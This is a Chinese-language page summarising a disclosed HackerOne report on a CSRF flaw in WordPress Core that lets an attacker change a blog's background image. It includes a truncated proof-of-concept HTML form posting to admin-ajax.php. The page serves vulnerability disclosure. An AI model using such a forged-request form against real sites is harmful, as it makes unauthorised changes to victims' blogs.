POJIA破甲
地图 / Arbitrary change of blog's background image via CSRF

Arbitrary change of blog's background image via CSRF

跨站请求伪造 / 跨站请求伪造 / #881855

厂商
WordPress
严重程度
低危 · CVSS 6.4
赏金
—
弱点
跨站请求伪造
研究员
@erwan_lr
披露日期
2020-12-14
资产
WordPress Core
CVE
—

该报告还没有中文解读。

原文摘录

摘自原文(3191 字符中的一小部分)
Despite being deprecated since v3.5.0, the `wp_set_background_image` method (defined in wp-admin/includes/class-custom-background.php), registered as an authenticated AJAX call (`wp_ajax_set-background-image`), is still active.
原文中的代码
<html>
  <body>
    <form action="https://[WP]/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="attachment_id" value="5" />
      <input type="hidden" name="action" value="set-background-image" />
      <input type="hidden" name="size" value="thumbnail" />
      <input …

默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 WordPress 所有。

时间线

  • 报告提交
  • 公开披露
阅读 HackerOne 原文 ↗作者 @erwan_lr · 版权归作者与 WordPress 所有

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